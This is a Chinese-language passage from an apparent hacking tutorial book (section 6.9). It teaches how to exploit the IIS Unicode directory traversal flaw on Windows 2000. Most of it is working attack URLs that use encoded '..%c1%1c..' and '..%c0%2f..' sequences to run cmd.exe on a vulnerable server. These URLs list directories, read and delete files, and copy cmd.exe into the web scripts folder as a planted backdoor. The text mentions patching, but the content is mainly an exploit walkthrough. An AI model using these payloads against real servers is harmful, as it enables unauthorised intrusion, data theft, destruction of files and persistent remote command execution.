黑客攻防技术内幕-防止入侵的方法(12)
6.9 UNICODE漏洞入侵
风光了很久的UNICODE漏洞是经常被入侵者利用的漏洞之一。在2001年5月1日大战中,黑客们就普遍利用此漏洞对各国网站进行攻击,究其原因:一是由于此漏洞刚公布不久,二是网络安全管理员安全意识低下,对UNICODE漏洞不进行及时的修补,使入侵者通过UNICODE漏洞入侵网站得逞。
但是现在网上还有很多服务器还存在着UNICODE漏洞,此漏洞可以使一般稍懂计算机的人直接通过浏览器,向存有漏洞的服务器发送请求,就可以入侵存有UNICODE漏洞的服务器。
接下来将全面讲述入侵者是如何利用此漏洞对网站进行入侵,也希望可以引起管理员们的安全意识,尽快对UNICODE漏洞进行修补(修补方法请读阅3.7.1 节中UNICODE漏洞的修补)
6.9.1 用于UNICODE漏洞入侵的命令
下面以中文版Windows 2000为例,对于其他版本只需更改其编码即可,参阅3.7.1 节中UNICODE漏洞的修补。
首先将介绍入侵者在入侵存在UNICODE漏洞的服务器时所涉及到的有关命令,其实有些命令和在DOS下使用的命令是一样的,但如CD这一类命令则不可用。
1. dir命令
列出目标计算机的目录。在浏览器的地址栏中输入如下内容:
http://127.0.0.1/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir+d:\
或者
http://127.0.0.1/scripts /..%c0%2f../ winnt/system32/cmd.exe?/c+dir+d:\等
以上内容是使用dir命令,让存在UNICODE漏洞的服务器列出d盘的目录,如图6-65所示。
图6-65 使用dir命令,列出d盘的目录
2. 显示下一个目录
这里不使用CD命令 ,而是直接输入路径。如果进入d盘下的Inetpub文件,可在浏览器的地址栏中输入如下内容:
http://127.0.0.1/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir+d:\Inetpub
或者:
http://127.0.0.1/scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir+d:\Inetpub
如图6-66所示。
图6-66 进入d盘下的Inetpub文件
3. type命令
显示文件内容 。可以在浏览器中显示txt 、htm、 asp等格式的内容,如要显示d盘下config.txt文件的内容,可在浏览器的地址栏中输入如下内容:
http://127.0.0.1/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+type +d:\config.txt
或者:
http://127.0.0.1/scripts/..%c0%2f../winnt/system32/cmd.exe?/c+type +d:\config.txt等
如图6-67所示。
图6-67 使用type命令显示config.txt的内容
4. del命令
删除文件命令。例如,要删除d盘下的config.txt文件,可在浏览器的地址栏中输入如下内容:
http://127.0.0.1/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+del +d:\config.txt
或者:
http://127.0.0.1/scripts/..%c0%2f../winnt/system32/cmd.exe?/c+del +d:\config.txt 等
如图6-68所示。
图6-68 使用del命令删除d盘下config.txt文件
5. copy命令
复制指定文件或同时将该文件改名,例如将d盘Winnt\system32下的cmd.exe程序复制到d盘Inetpub\scripts下,并改名为win.exe,可在浏览器的地址栏中输入如下内容:
http://127.0.0.1/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+copy+d:\winnt\system32\cm d.exe d:\inetpub\scripts\win.exe
或者:
http://127.0.0.1/scripts/..%c0%2f../winnt/system32/cmd.exe?/c+copy+d:\winnt\system32\cm d.exe d:\inetpub\scripts\win.exe
如图6-69和6-70所示。
图6-69 改名为win.exe的cmd.exe程序
图6-70 复制cmd.exe程序
从图6-69中可以看到,d盘Winnt\system32下的cmd.exe程序成功地复制到d盘Inetpub\scripts下并改名为win.exe 。